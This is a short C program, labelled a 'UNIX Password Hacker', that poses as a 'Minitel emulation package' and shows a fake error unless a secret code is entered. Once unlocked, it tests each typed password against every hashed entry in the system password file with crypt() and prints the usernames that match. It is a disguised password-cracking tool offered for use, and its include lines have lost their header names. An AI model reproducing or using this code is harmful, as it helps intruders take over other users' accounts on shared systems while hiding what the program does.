/* Alternative UNIX Password Hacker Written by Keyboard Jockey */ #include #include #include struct passwd *p1; struct passwd *getpwent(); char *crypt(); main() { char *pw, passw[20], thing[80], thing2[80]; strcpy(thing2, "800"); printf("\n\nMinitel emulation package V3.0\n"); printf("(C)opyright 1985-1990\n\n"); printf("Do you need relaxed protocol? (for networks) "); gets(thing); if (strcmp(thing, thing2) != 0) { sleep(1); printf("\nCan't find minitel data files.\n"); exit(1); } label1: setpwent(); printf("\nConnect to what host? "); gets(passw); if (strlen(passw) == 0) goto label2; while ((p1 = getpwent()) != NULL) { pw = crypt(passw, p1->pw_passwd); if (!strcmp(pw, p1->pw_passwd)) { printf("%s\n", p1->pw_name); } } goto label1; label2: exit(0); }